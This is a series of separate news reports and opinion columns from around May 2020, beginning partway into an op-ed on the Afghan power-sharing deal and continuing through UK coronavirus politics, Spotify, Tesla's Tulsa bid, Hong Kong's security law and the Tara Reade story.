This fortuitous development in Kabuls destiny was never considered a real possibility due to the bitter Afghan presidential battle between Mr Ghani and his former CEO Abdullah Abdullah, with both declaring themselves as elected Presidents in September 2019. This agreement between the two ended the months-long impasse in Kabul and unquestionably presents a glimmer of peace that has been elusive in a country afflicted by fratricidal violence for the past 18 years.

As part of the deal, Mr Abdullah will head the High Council for National Reconciliation which will spearhead the intra-Afghan talks with the Taliban, as brokered earlier by the United States. In addition, Mr Abdullah will also be allowed to nominate his choice of ministers with an equal share in Mr Ghanis Cabinet, besides an equal number as provincial governors in Afghanistan. Surprisingly, Mr Ghani also allowed his earlier vice-president, notorious Uzbek strongman Abdul Rashid Dostum, who switched loyalties to Mr Abdullah, to be promoted to the rank of marshal in the Afghan National Army. Mr Dostum carries some court charges against him for the murder of his political rival, Ahmad Ischi, in 2016. Mr Dostums elevation shows that in politics nothing is impossible, nor is anyone an untouchable in the pursuit of power.

The settling of differences between erstwhile rivals Ashraf Ghani and Abdullah Abdullah has been welcomed by both the US and India. The Americans, after being committed to the longest war in their history, with no suitable endgame in view, have been by all standards militarily fatigued and financially weary. Even former US President Barack Obama tried hard for a dignified Afghan exit strategy, but failed. President Donald Trump, from day one of his presidency, had made exiting Afghanistan a cardinal point of his foreign policy. This strategy continues and now is a major plank of his 2020 presidential campaign, so Mr Trump will redouble his efforts for the withdrawal of US troops from that troubled nation. The Americans had no qualms about negotiating with the fundamentalist Taliban, with their medieval mindsets, for the past three years. That they even sought the help of a terror-driven Pakistan to get the latters proteges, the Taliban, to begin talks with the US for a peace settlement shows Americas anxiety for an exit from Afghanistan. But it still wont be easy for the US to leave Afghanistan till some sustainable settlement is reached between the Taliban and the Ghani government. Any hasty US exit will not only diminish the prestige of the worlds sole superpower, but also push Kabul into the throes of a likely civil war.

A major cause of concern for the Indian security establishment is the visible rise of an extremely toxic terrorist outfit, Islamic State-Khorasan (IS-K), in Afghanistan. Though the Afghan Taliban and IS(K) are daggers drawn with each other, yet the latter too derives support from Pakistan and its sinister Inter-Services Intelligence. The ISI(K) was in the news recently when it attacked a maternity home in Kabul, murdering many pregnant women, newborn infants and nursing staff. Unlike Taliban, the IS(K) is vociferous about its territorial ambitions in South Asia, including Kashmir.

India is much respected in Afghanistan not only for its civilisational links but also its consistent policy of non-interference in Kabuls internal affairs. Its $3 billion aid package and assistance in infrastructural, educational, medical and welfare projects in the last 15 years stands out as a shining example of Indias soft power foray. The fact that India has been generally ignored in high-level parleys on Afghanistans future, even by the US, its strategic partner, holds a lesson or two for Indian diplomacy  that it should be strong and autonomous enough to chart its own course. The US, grudgingly, appears to have changed tack somewhat for the last few months and its Afghan special envoy Zalmay Khalilzad has made quite a few trips to New Delhi. He has been vocal in suggesting that India should talk directly to the Taliban.

India, as a traditional supporter of Afghanistan for decades, needs to step up its all-round support, including strengthening the Afghan National Army and its security forces, without of course putting its boots on the ground. It must wholeheartedly support the Ghani-Abdullah deal and also open up channels of communication with all moderate sections of Afghan political society. India should play its part in the Great Game in the Hindu Kush prudently and proactively and try to get Russia and Iran on board to build a regional consensus on Afghanistans future. Kabuls destiny in the years ahead must remain a significant challenge for Indias foreign policy.
Children could be half as likely to catch coronavirus as adults and teachers do not appear to be at greater risk than other professions, according to new evidence.

The research emerged on Friday as the Goverments Scientific Advisory Group for Emergencies (Sage) published papers assessing the impact of relaxing school closures.

Teaching unions and some councils have spoken out against the Governments plans to begin a phased reopening of schools in England on June 1.

Later on Friday evening the Labour Party demanded a very swift explanation from Downing Street over reports that Boris Johnsons senior aide Dominic Cummings broke the Governments lockdown rules.

The Guardian and the Mirror reported that he was spotted at his parents home in Durham when he was recovering from Covid-19, after travelling from his London home.

A Labour spokesman said: If accurate, the Prime Ministers chief adviser appears to have breached the lockdown rules. The Governments guidance was very clear: stay at home and no non-essential travel.

The British people do not expect there to be one rule for them and another rule for Dominic Cummings. Number 10 needs to provide a very swift explanation for his actions.

Durham police confirmed officers had spoken to the owners of an address in the city after reports a person had travelled there from London.

A spokesman for Durham Constabulary said: On Tuesday March 31, our officers were made aware of reports that an individual had travelled from London to Durham and was present at an address in the city.

Officers made contact with the owners of that address who confirmed that the individual in question was present and was self-isolating in part of the house.

In line with national policing guidance, officers explained to the family the guidelines around self-isolation and reiterated the appropriate advice around essential travel.

Story continues

Acting Liberal Democrat leader Sir Ed Davey tweeted: If Dominic Cummings has broken the lockdown guidelines he will have to resign. Its as simple as that.

Close friends of Dominic Cummings said: He isnt remotely bothered by this story, its more fake news from the Guardian. There is zero chance of him resigning.

A review of global studies led by University College London found those aged under 20 had 56% less chance of being infected.

However, evidence on how likely children are to transmit Covid-19 remains inconclusive, according to the scientific advice used to inform the proposals to reopen schools.

And teachers do not appear to be at a greater risk of catching Covid-19 than other professions  but there is still some risk if schools reopen, scientific advisers said.

The evidence was released as figures showed that the reproductive rate of coronavirus has remained the same for a second week  and ministers came under sustained criticism from some scientists over their handling of the crisis.

Nobel Prize-winning scientist Sir Paul Nurse said the Government had been too much on the back foot while Sir Ian Boyd, a member of Sage, said acting earlier would have made quite a big difference to the death rate.

They spoke as the number of deaths involving Covid-19 in the UK passed 45,000, according to the latest available data.

(PA Graphics)

The so-called R-number  the average number of people that will contract coronavirus from an infected person  was between 0.7 and 1 across the UK two to three weeks ago  the most recent period for which figures are available.

The rate is the same as the one released last week and remains higher than the previous one, which was between 0.5 and 0.9.

The lack of downward movement is thought to be driven by the continued spread of the virus in care homes and hospitals during the period covered rather than the wider community.

Keeping the R number below 1 is a key goal Prime Minister Boris Johnson has set to allow the continued gradual releasing of the lockdown in the coming months.

Meanwhile, ministers were facing a new backlash as more details emerged of plans to subject international travellers to spot checks and 1,000 fines if they fail to self-isolate for 14 days after arriving in the UK.

Home Secretary Priti Patel outlined the plans  to be introduced on June 8  at the daily Downing Street briefing on Friday.

Home Secretary Priti Patel will outline the quarantine plans (Pippa Fowles/10 Downing Street/Crown Copyright/PA)

Exemptions for road hauliers, seasonal agricultural workers and medical officials will apply, while the common travel area with Ireland will be unaffected.

But arrivals from France will not be exempt, following confusion in recent days.

Travellers will be asked to fill in a form with their contact information, and health officials will perform spot checks to ensure compliance with the measures.

But Virgin Atlantic warned the plan would keep planes grounded.

The safety and security of our people and our customers is always our top priority and public health must come first, a Virgin Atlantic spokeswoman said.

However, by introducing a mandatory 14-day self-isolation for every single traveller entering the UK, the Governments approach will prevent flights from resuming.

(PA Graphics)

We are continually reviewing our flying programme and with these restrictions, there simply wont be sufficient demand to resume passenger services before August at the earliest.

The airline instead called on the Government to introduce a multi-layered approach of targeted public health and screening measures to allow the safe restart of international travel.

Northern Ireland Secretary Brandon Lewis warned that the quarantine period would apply to British citizens returning from abroad, but said the plans will be reviewed every three weeks.

The reality is we are saying to people, if you are going abroad, you need to look at the fact you may well need to quarantine when you come back, he said.

Many other countries already require arriving passengers to enter a 14-day quarantine, including New Zealand, South Africa, South Korea, Spain and the US.

This is despite the World Health Organisation saying in February that measures which significantly interfere with international travel may only be justified at the beginning of an outbreak.
Tiger Zinda Hai is directed by Ali Abbas Zafar and produced by Aditya Chopra. The film features Salman Khan and Katrina Kaif in key roles, where Salman Khan portrays the role of RAW officer Avinash ''Tiger'' Singh Rathore and Katrina Kaif portrays the role of ISI officer, Zoya Singh Rathore. The 2017 action-thriller is one of the most expensive Indian films created. With all that said now, here us what went into the making of Salman Khan's Tiger Zinda Hai.

Salman Khan fights a pack of wolves for Tiger Zinda Hai

The audience has always been curious about the scene which features Salman Khan fighting off a pack of wolves with aims to protect his son in the scenic snow-capped mountains of Austrian. Yash Raj Films released the video of the adrenaline gushing sequence from the flick, Tiger Zinda Hai. The Salman Khan vs Wolves fight is one of the highly talked and highlights of the entire movie and the scene went viral upon its release.

The scene shows how Tiger (Salman Khan) fights off the hungry wolves, with aims to protect his son without causing any harm to the animals. Ali Abbas Zafar tells the viewers of all the work that went into achieving the few minutes of footage. They had to work with earning the trust of wolves and working with the animal trainer.

Ali Abbas Zafar revealed that while they were researching about the shoot, The Revenant featuring Leonardo DiCaprio got released. The film features DiCaprio talking to a bear and that gave the director hopes about carrying out such a challenging sequence. He then spoke about getting close and forming bonds with the animals.

They got in touch with the companies based in Canada and Hungary, Bulgaria, which train animals for movies. The team went to Budapest to interact with the animals and they interacted with 36 wolves, one of which was an alpha wolf. Ali also shared the moment when they had to search for one particular expression of the wolf from 42 hours of footage.

The scene where the wolf jumps on Salman Khan is filmed in a very interesting manner. There is meat on one side and the camera is fixed on the right shoulder. So, when the wolf starts heading towards Salman Khan from the log, he is actually heading to the piece of meat.

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National Chief Imam, Osmanu Nuhu Sharubutu will hold a virtual prayer session for the Eid celebrations on Sunday.

The event, first of its kind, will be showed live on Ghana Broadcasting Corporation (GBC) to pray for relief and protection for all Muslims from the Covid-19 pandemic.

The usual prayers, parties and street events which see large gatherings will be absent as Islamic leaders have urged people to stay indoors.

A statement signed by spokesperson of the National Chief Imam, Sheikh Armiyawo Shaibu urged all Muslims in the country are advised to celebrate the 2020 EIDUL-FITR with families at home by following the National Chief Imam on the state television.

Below is the full statement

It is hereby announced for the information of the general public and all Muslims in Ghana in particular that, the Eidul-fitr 2020 celebration will take place in Ghana on Sunday 24th may 2020.

Following the COVID-19 preventive restrictions on social gathering, a virtual EIDUL-FITR celebration prayer will be led by the Eminent National Chief Imam supported by the Muslim leaders at the Ghana Broadcasting Corporation (GBC) house on Sunday 24th may 2020 at 9:00am prompt.

His Excellency the President of the Republic of Ghana supported by the Vice president will use the occasion to address Muslims country wide.

Accordingly all Muslims in the country are advised to celebrate the 2020 EIDUL-FITR with families at home by following the National Chief Imam on the state television.

We wish to take this opportunity to wish Muslims in Ghana and beyond a happy COVID-19 EIDUL-FITR 2020 celebration.

EID-MUBARAK

EID-SAEED

FROM THE SPOKESPERSON OF THE NATIONAL CHIEF IMAM,

SHEIKH ARMIYAWO SHAIBU.
Music streaming giant Spotify is the latest tech firm to announce that it will allow its employees to work from home until at least the end of 2020 as countries begin to lift the coronavirus lockdown.

Yesterday, we announced the extension of our work-from-home arrangement for all Spotify employees globally, a company spokesperson told DailyMail.com.

We will continue to track local government guidelines city-by-city and take a phased approach of opening our offices when we deem it safe to do so.

Our employees health and safety is our top priority.

No employee will be required to come into the office and can choose to work from home through the end of the year.

Spotify has confirmed that it will allow its 4,400-person workforce to work from home through the end of this year

The news was first reported by Music Business Worldwide.

Earlier this week, Facebook CEO Mark Zuckerberg announced that the social network would allow around half of its 45,000-person workforce to continue to work remotely for the next five-to-10 years.

But Zuckerberg also said that Facebook would reduce salaries for remote workers who are based in cities with lower cost of living.

In the immediate future, some 95 per cent of Facebook employees will be working from home through the end of 2020.

Google has also told employees who can work from home that they will continue to do so until at least January 1.

Both Google and Facebook plan to limit office capacity to less than 30 per cent in the months after they reopen their offices.

Google said it is planning a staggered approach to returning employees to the office.

Amazon has told employees who can work from home that they will be allowed to continue to do so until at least October 2.

Last week, Twitter announced that it would give its employees the option of permanently working from home.

The outlier among tech giants is Apple, which has reportedly asked employees to start returning to the office as early as June.

Spotify, the Swedish company, says it employs 4,405 full-time people. It says it has offices in 79 countries and territories around the world.

Spotify joins other tech giants like Facebook and Twitter, who announced they would let their employees continue to work remotely. Facebook CEO Mark Zuckerberg is seen left. Twitter CEO Jack Dorsey is seen right

Around half of the workforce  2,121 employees  are based in the United States.

The company employs 1,437 full-time workers in Sweden.

The company has seen its stock price surge in recent days after it dropped a bombshell  announcing the signing of Joe Rogan to an exclusive deal that would see his popular podcast stream only on Spotify.

The Swedish online streaming giant confirmed Tuesday it had obtained the rights to The Joe Rogan Experience. The Wall Street Journal reported that the deal is valued at more than $100million.

This makes it one of the largest deals on record for a podcast.

The length of the deal has not been confirmed by the source, the Journal reported, but they said it would likely be worth more than $100 million based on milestones and performance metrics over several years.

The move will see all 11 years worth of Rogan's shows move to Spotify on September 1 and become exclusive to the streaming giant by the end of 2020.

Rogan's video podcasts will then no longer be available on YouTube.

Rogan, a comedian, TV host and mixed martial arts commentator, reassured his fans the podcast will stay the 'exact same' and that he will continue to have control over the show when the deal kicks in at the end of the year.

'Starting on September 1 the podcast will be available on Spotify as well as all platforms, and then at the end of the year it will move exclusively to Spotify, including the video version,' Rogan, 52, wrote in an Instagram post Tuesday.

The company has seen its stock price surge in recent days after it dropped a bombshell  announcing the signing of Joe Rogan to an exclusive deal that would see his popular podcast stream only on Spotify

Joe Rogan (pictured in February) has struck a deal with Spotify worth more than $100million, giving the streaming giant exclusive rights to his podcast 'The Joe Rogan Experience.'

Spotify did not divulge how much it paid, but a source told the Wall Street Journal it plunked down more than $100 million in a multi-year licensing deal to snap up what is the most downloaded podcast in the whole of the US

In this 2019 episode Rogan speaks to Democrat Bernie Sanders. His guests range from mixed martial artists to entrepreneurs, scientists, athletes and health advocates to celebrity actors

'It will remain FREE, and it will be the exact same show. It's just a licensing deal, so Spotify won't have any creative control over the show. They want me to just continue doing it the way I'm doing it right now.'

He added: 'We will still have clips up on YouTube but full versions of the show will only be on Spotify after the end of the year.

'I'm excited to have the support of the largest audio platform in the world and I hope you folks are there when we make the switch!'

The podcast star previously dismissed the possibility he would hand over rights to the streaming giant, saying it doesn't pay enough and he can make more money on YouTube.

Rogan began the show back in 2009, in the early days of podcasting, and has amassed a loyal following of fans.

In 2019, it was the most downloaded podcast on Apple devices and it regularly draws in more than one million views per episode.

In the free-flowing show, Rogan moves between comedian and former kickboxer and Taekwondo champion, with his guests ranging from mixed martial artists to entrepreneurs, scientists, athletes and health advocates to celebrity actors.
Our goal from the outset was to create a new private equity model that would provide greater stakeholder alignment.

Rallyday Partners, LLC, a Denver-based private equity investment firm, has closed its inaugural fund, Rallyday Partners Fund I LP. Following a six-month fundraising process, Rallyday closed its first fund north of its initial $150 million target. Rallyday received capital commitments from seven institutional limited partners, including prestigious university endowments, mission-driven foundations, highly-respected family offices and outsourced CIOs. The Rallyday founding investment team, Travis Conway, Molly Fitzpatrick, Ryan Heckman, Mark Hopkins and Nancy Phillips, all made significant capital commitments to the fund as well.

Our goal from the outset was to create a new private equity model that would provide greater stakeholder alignment. We also sought an investor base comprised of thought-leading institutions who valued our differentiated approach and desire to elevate the lower middle market asset class for entrepreneurs and investors alike. We are grateful for the opportunity to work with this premier group of forward-thinking investors, commented Ryan Heckman.

Rallyday invests in lower middle market growth companies with compelling secular trends, disruptive, scalable business models and audacious leadership. As Nancy Phillips describes, we built Rallyday with a by founders for founders DNA and are building powerful peer relationships with our founders that will enable better outcomes for all our stakeholders. Since its founding, Rallyday has invested in two platform companies as well as four add-on acquisitions.

Nancy, Ryan and I have all founded, led, and ultimately sold companies in our prior lives that were near and dear to our hearts. Accepting outside capital almost always required trade-offs. At Rallyday, we dont believe in trade-offs. We partner with growth-minded founders who want to leverage our experience and capital to build industry-defining products and services, creating the best version of their companies and themselves along the way, said Mark Hopkins.

Pacenote Capital LLC served as the exclusive placement agent for Rallyday on the fundraise. We owe a huge debt of gratitude to the team at Pacenote. They provided us with invaluable advice, authentic relationships with premier investors, and genuine inspiration as we completed our first fundraise, added Phillips. Because of Pacenotes belief in our vision, we feel a great sense of privilege and commitment to our limited partners who empower our work with entrepreneurs every day.

McGuireWoods LLP provided Rallyday with legal counsel and Tillman Private Equity Services has been selected as its Fund Administrator.
Tulsa, Oklahoma, has transformed its iconic Golden Driller statue to look like Tesla founder Elon Musk in a bid to attract the company's new factory to town.

The statue is joining the effort to lure the automaker to build its new U.S. assembly plant in Oklahoma's second-largest city.

The new look for the 75-foot tall, golden statue in the heart of the city was unveiled by city officials on Wednesday.

The makeover includes a bright-red Tesla logo on its chest, a Tesla belt buckle and a mask to make the oil field worker resemble Musk.

City officials unveiled the new look for the 75-foot statue on Wednesday. It was first erected in the 1960s outside the Tulsa Convention Center in tribute to the state's petroleum industry

The Golden Driller statue receiving a Tesla facelift on Tuesday. The iconic Tulsa, Oklahoma, landmark was transformed in a bid to attract the company's new factory to town

It was revealed at a press conference Wednesday afternoon at the Tulsa Expo Center, where dozens of Tesla electric cars were parked outside a building that hosted the international petroleum trade show for years.

'I think it's pretty cool,' said Tulsa Mayor G.T. Bynum, standing beneath the mammoth statue.

'It's a way of showing how we want to roll out the red carpet and partner with this company.'

The company has reportedly picked Tulsa and Austin, Texas, as finalists for its new factory that is expected to employ more than 10,000 people.

No timeline for a decision has been announced.

The new factory would construct Model Y utility vehicles. It would be Tesla's second U.S. auto-manufacturing factory.

Oklahoma touts its low tax rates and cost of living, particularly its low utility costs, when trying to woo businesses from other states.

The oil worker statue has a new painted mask to make it look like Telsa CEO, Elon Musk

A Tesla Model 3 drives in front of the Golden Driller as it gets a Tesla facelift in Tulsa Tuesday. Tulsa's iconic 75-foot statue now has a bright-red Tesla logo on its chest, a Tesla belt buckle, and a mask to make the oil field worker look more like Tesla CEO Elon Musk

The statue was transformed in a bid to win Tesla's second U.S. auto-manufacturing factory which could employ more than 10,000 people. Austin, Texas, is also in the running

An auto manufacturer would qualify for numerous tax incentives, including a Quality Jobs program that provides cash rebates to companies that create good-paying jobs, a sales tax exemption that covers purchases of machinery and equipment, and a five-year property tax exemption.

The state also has a specific automotive engineer tax credit that provides a corporate income tax credit of up to 10 percent of the engineer's salary, and a $5,000 annual income tax credit to the worker.

'It is clear that Tesla and Tulsa were forged in the same spirit,' Mayor Bynum told Roadshow.

'Tulsa is a city that doesn't stifle entrepreneurs - we revere them. And as Tesla continues to rapidly change transportation all around the world, I can't imagine a better place for them to further that important work than Green Country.'

The Golden Driller statue was erected in Tulsa in the 1960s in tribute to the state's petroleum industry.

It is the fifth tallest statue in the continental United States.
Congress leader Rahul Gandhi on Friday said the widespread devastation caused by cyclone Amphan in West Bengal and Odisha is disturbing, as he condoled the death of those killed in the natural calamity.

Cyclone Amphan has left 77 people dead and thousands homeless in West Bengal, battering several parts of the state and washing away bridges and swamping low-lying areas.

It also wreaked havoc in Odisha, damaging power and telecom infrastructure in several coastal districts.

"The widespread devastation caused by Cyclone Amphan in West Bengal & Odisha is disturbing," Gandhi said in a tweet.

"My condolences to the families of those who have perished & I pray the injured make a speedy recovery. I offer my support to the brave people of these two states in this time of crisis," the former Congress president said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
WASHINGTON -- The 15-judge Committee on Codes of Conduct of the Judicial Conference of the United States has circulated to all federal judges "for review and comment" a draft opinion that, although seemingly evenhanded, is disturbing and perhaps cynical. To reasonable readers, the draft seems tailored to injure the Federalist Society. Without necessarily imputing to the committee this purpose, the proposed code of behavior for federal judges, if adopted, would have the predictable effect of discouraging membership in the society that has challenged the American Bar Association's preeminence in the nation's legal culture.

Since 1982, when the Federalist Society was born out of a conference at Yale Law School, it has contested liberalism's hegemony in the legal profession. The society's unchanging aim has been to leaven with conservatism -- through forums and debates -- the student bodies and professoriates of the most prestigious law schools, whose graduates clerk for federal judges, and whose law reviews shape the nation's jurisprudential conversation. Now the committee on "codes of conduct" proposes to declare judges' membership in the society to be ethically problematic -- actually unethical -- conduct.

The draft opinion also disapproves of judges' "involvement" with the American Constitution Society, but this is transparently tactical balancing: The ACS is much smaller and less consequential than the Federalist Society it was launched in 2001 to emulate. A Quixote in search of a windmill, the ACS exists for the unheroic task of defending a congenial status quo, liberalism's dominance of the legal culture.

In "The Rise of the Conservative Legal Movement" (2008) Steven M. Teles documents how the Federalist Society burgeoned as part of the "conservative countermobilization" against the entrenchment -- in elite law schools and firms -- of post-New Deal legal liberalism, which still embraces an activist state, and equality rather than liberty as "the central constitutional value." Entrenchment was deepest at ideologically monochrome law schools where the faculty is tenured and self-reproducing, and in public-interest law firms lavishly backed by the Ford Foundation.

The Federalist Society has been scrupulous about what Teles calls "boundary maintenance": Facilitating members through networking and the development of conservative ideas "rather than directly influencing the actions of government itself." The society has taken an "indirect approach to legal change," rather than litigating and lobbying. Only people unfamiliar with the many (and often discordant) flavors of conservative legal thought (originalism, textualism, judicial restraint, judicial engagement, etc.) can believe that the society possesses and enforces an orthodoxy.

The authors of the draft opinion are probably concerned about the perception of the judiciary as drenched in politics. This perception was deepened by liberals' successful mass mobilization in opposition to Ronald Reagan's 1987 nomination of Robert Bork (Yale Law professor and then judge on the D.C. Circuit Court of Appeals), and by Senate Republicans' shabby refusal in 2016 to give Barack Obama's Supreme Court nominee, Merrick Garland, hearings and a vote.

The draft opinion's real purpose, however, is revealed by its conclusion that judges' involvement with the American Bar Association is not problematic. The opinion's authors are right that judges must have a sense of boundaries: They should avoid involving themselves with organizations that, for example, file amicus briefs to influence courts' deliberations. But the ABA, unlike the Federalist Society, does this.

The draft opinion concedes that the ABA advocates "for particular constituencies, causes, or agendas." Ed Whelan, president of the Ethics and Public Policy Center, calls this "an astounding understatement": The ABA's Washington lobbying office advocates many policies, some unconnected with the practice of law. And it has a Grassroots Action Center that mobilizes support for (mostly liberal) causes. The fact, stressed by the draft opinion, that the ABA has "a separate membership section for judges" is trivial: This is a cosmetic device that indicates an uneasy conscience; it does nothing to dilute judges' association with the ABA's substantial political, and substantially liberal, agenda.

The Federalist Society has always been (according to a founder, Steven Calabresi, a professor at Northwestern University Law School) a "conservative university without walls." Unfortunately, the draft opinion is congruent with practices rampant in lesser universities: It serves those who prefer to injure and exclude rather than debate and refute intellectual adversaries.

Teles says the Federalist Society has always understood this: "Changing legal culture required shaking the self-confidence of liberal lawyers by challenging their perception that they had a monopoly on serious legal thought." The draft opinion reflects the mentality of the shaken.

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Zendesk strengthens its regional leadership bench with Software-as-a-Service (SaaS) veterans Wendy Johnstone and Gari Johnson to accelerate growth in the Asia Pacific (APAC) region, which accounts for more than 10% of the companys global business with over 24,000 customers, as of the latest financial results (Q1 2020).

Johnstone joins Zendesk as the companys first regional Chief Operating Officer, where she will spearhead go-to-market strategies and operations for APAC and report into global Chief Operating Officer Tom Keiser. Based in Singapore, she brings over 25 years of experience in numerous senior marketing and operations roles at Salesforce, EMC, IBM and, most recently, Microsoft.

Working closely with Johnstone is Gari Johnson, Senior Vice President, Sales, Asia Pacific, who will drive the companys growth strategy and expand its customer base in the region. Previously at Salesforce, Johnsons experience spans more than 30 years in sales, operations and marketing roles at Oracle, Intralinks and IBM, to name a few. Johnson is based in Sydney and reports into Norman Gennaro, President, Worldwide Sales.

Together, Johnstone and Johnson are set to steer the APAC business through these unique times in an effort to support Zendesks long-term goal of becoming a multibillion-dollar revenue company.

Earlier this year, Johnsons predecessor, Sandie Overtveld, stepped into a newly created role within the business as the Vice President, Strategic Enterprise Accounts for APAC and EMEA and is now based in Europe.
The near-certain passage of a new Hong Kong security law at the National Peoples Congress is a worrisome development that will erode the citys global reputation and attraction as a corporate base, said business groups, security and legal experts in Washington.

If theyre not careful, they will kill the financial golden goose, James Lewis, head of the technology programme at the Centre for Strategic and International Studies (CSIS), said of Chinese government leaders. And I think they will miscalculate on this. Theres an unwillingness to recognise that politics and economics are linked in this way and that people may trust the Hong Kong market more than they trust their markets.

Take that away, and the business flows to Singapore, Lewis added. Its a shame.

Companies that invest heavily through Hong Kong, will reduce and reroute spending, added Derek Scissors, a China expert at the conservative American Enterprise Institute, because their business and employees are put at risk by future mainland repression in the name of national security.

Others agreed that Beijings proposed crackdown could lead to some businesses to move.

This may push institutional investors and private equity firms to consider neighbouring countries instead. Singapore, Korea, Taiwan and Vietnam will all benefit, at Hong Kongs expense, said Euan Rellie at BDA Partners, an investment bank with a focus on Asia.

The new law is likely to come at significant financial and diplomatic cost, he said. Weve seen the Hong Kong dollar weaken against the US dollar already. I expect the Hong Kong stock exchange will suffer.

Plans to leave Hong Kong may not be limited to foreign firms, said Kurt Tong, who served as US consul general in Hong Kong until last July.

I have to think that international companies, and maybe also Hong Kong companies and Chinese companies, will start making contingency plans for rebalancing their use of Hong Kong, said Tong, who is now a partner at The Asia Group, a Washington-based business consultancy. The whole point of Hong Kong is to be a place for foreign companies, Hong Kong companies, and Chinese companies to work together and make deals.

Story continues

This will seriously concern a wide swathe of international enterprise about the future direction for the city, and while some people might wait to see what the details are in terms of how the national security law is implemented, the fact that its being implemented in such an aggressive fashion will make people even more worried.

Less clear than businesses possibly leaving Hong Kong, analysts said, is just how much leverage Washington has to influence Chinas actions in the city.

The US could cancel Chinas preferential trade and investment status and end its visa waiver programme with Hong Kong. And it could apply the same punitive trade war tariffs of up to 25 per cent on Hong Kong trade now levied with the mainland.

But this would hurt Hong Kong residents arguably more than China, US analysts said. And Hong Kong is one of the few places where the US enjoys a trade surplus, albeit only around US$2.3 billion in 2018.

Demonstrators in Hong Kong protest proposed Chinese legislation in November that would limit opposition activity. Photo: AP

Furthermore, most companies with Hong Kong operations are focused on the bottom line, unlikely to act on principle and remain in a wait-and-see mode even as they bridle at Beijings latest move, executives said.

If there was ever a time when someone wanted to make a point, its now, said a representative with a business group who declined to be identified until he could poll his membership. But companies will need the pain outweigh the gain before they make a large move, he added.

Unless you see PLA in the streets, youre probably not going to see business respond, he said, referring to the Peoples Liberation Army. They make those investments over the long term, and they don't change those investment decisions over a long weekend.

But the longer-term impact could be significant if China continues to erode the one-nation, two-systems principle by chipping away at rule of law, increasingly controlling information flows and turning Hong Kong into a nearly indistinguishable part of China, some added.

Viewed from Chinas perspective, the Communist Party has long displayed a willingness to sacrifice short-term economic benefits to secure political survival and its grip on power, analysts said, as seen most obviously during the bloody crackdown in June 4, 1989.

After the CCPs decision to send forces in to Tiananmen Square, China paid a significant price in lost foreign investment, economic boycotts and global isolation, but has come to consider the crackdown the correct course for national development, analysts said.

Also important to remember, analysts added, is the relative importance of Hong Kong. At the time of the handover, the citys economy was over around 18 per cent the size of Chinas economy. Now its around 3.7 per cent, according to World Bank figures. Furthermore, Chinese policies have been nudging companies to shift financial operations to Shanghai.

In the past, it mattered that Hong Kong was independent. Today, not as much, the business official said. Nobodys in Hong Kong for Hong Kong. Theyre in Hong Kong for China.

Echoing that point, Scissors said, referring to Chinese leader Xi Jinping: Xi may break China's agreements even when party rule is not threatened. Future actions by the US, and others to a lesser extent, and Chinese reactions are now more likely and will make business connected to China less valuable.

Others said much of this could have been avoided if Beijing and the Hong Kong government had handled early public discontent better. The catalyst for protests last year was an extradition bill that angered vast swathes of the population, including the business community, raising concern that mainland authorities could grab Hong Kong residents and extradite them to China.

They could have avoided all this, said Scott Kennedy, a business and political economy analyst with CSIS. That unwillingness to compromise, to back up even an inch, is what is maddening and why it is reasonable to be deeply concerned about Hong Kongs future.

Analysts say the spotlight will be on Beijing, but a lot  including the Trump administrations response  will depend on how people in Hong Kong react.

All eyes will, for a few days, be on Beijing. But everyone is going to be looking out of their other eye this week at Hong Kong, and then the focus will entirely shift to Hong Kong come early June, said Kennedy. He added that the US response will depend in part on does this look like something that is extremely urgent, or which patience can be an asset.

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US-led coalition forces and their Kurdish allies the Syrian Democratic Forces killed two regional Islamic State group leaders in a raid in eastern Syria this week, US Central Command announced on Friday. Ahmad 'Isa Ismail al-Zawi and Ahmad 'Abd Muhammad Hasan al-Jughayfi were killed in the May 17 joint raid on an IS position in Deir Ezzor province, CentCom said in a statement. Al-Zawi, also known as Abu Ali al-Baghdadi, was the IS regional leader of North Baghdad, it said, and was "responsible for disseminating terrorist guidance from senior IS leadership to operatives in North Baghdad." Al-Jughayfi, also known as Abu Ammar, was a senior IS logistics and supplies official "responsible for directing the acquisition and transport of weapons, IED materials, and personnel across Iraq and Syria," CentCom said. "The removal of these IS leaders will disrupt future attacks against innocent civilians and our security partners and in the region," it said. "Due to the relentless pressure maintained by the SDF, IS's remaining leadership in the area continues to dwindle," CentCom added. Since its territorial defeat in Syria in March 2019, IS attacks have been restricted to the vast deserts stretching from Deir Ezzor to Homs in the center of the country. Abu Bakr al-Baghdadi, who led IS since 2014 and was the world's most wanted man, was killed in a US special forces raid in Syria's northwestern province of Idlib in October 2019.
In this April 4, 2019, photo Tara Reade poses for a photo during an interview with The Associated Press in Nevada City, Calif.

An attorney for Tara Reade, the woman accusing former Vice President Joe Biden of sexual assault, said on Friday that he had dropped her as a client without providing a reason.

Doug Wigdor, a noted #MeToo lawyer whose firm has represented clients with claims against high-profile men accused of abuse like Harvey Weinstein and Dominique Strauss-Kahn, said the decision was "by no means a reflection on whether then-Senator Biden sexually assaulted Ms. Reade." He also said he sided with the 55% of voters who believe her, citing a recent Harvard CAPS-Harris Poll.

Wigdor, who has donated thousands of dollars to President Donald Trump and the Republican National Committee, in addition to some Democratic candidates, said the decision to part ways with Reade was made on Wednesday, less than two weeks after he announced that he was representing her.

A spokesperson for Reade, Maria Villena, said in a statement that Reade "does not have a statement about Mr. Wigdor's decision to part ways."

"When he joined Tara's team he was not expecting the amount of victim-shaming and attacks against her credibility as he saw over the past weeks. As he said, these storylines are 'unrelated and irrelevant matters'. Tara is currently seeking new counsel with PR support," Villena said.

Reade has alleged that Biden assaulted her in a Senate office building in 1993. She has called for Biden, the apparent Democratic presidential nominee, to drop out of the race. Biden has denied Reade's claims.

In his statement, Wigdor said the media had subjected Reade to a "double standard."

"Much of what has been written about Ms. Reade is not probative of whether then-Senator Biden sexually assaulted her, but rather is intended to victim-shame and attack her credibility on unrelated and irrelevant matters," Wigdor said. "We genuinely wish Ms. Reade well and hope that she, as a survivor, is treated fairly."

Questions about Reade's background surfaced in recent days after CNN reported that a spokesperson for Antioch University said that Reade did not graduate from the Seattle institution despite her claim that she earned a bachelor's degree there.

Reade, who has said she fled an abusive ex-husband, told the outlet that she graduated in a "protected program" to conceal her identity, but the Antioch spokesperson said such a program has never existed.

Reade did take classes at Antioch, the spokesperson said. She later graduated from Seattle University School of Law in 2004 through an admissions program designed for diverse and non-traditional students.

The questions around Reade's educational background prompted defense attorneys in California to reexamine cases in which Reade testified as an expert. Reade claimed under oath that she had received an undergraduate degree from Antioch University, according to Politico, which reviewed trial transcripts in two cases.

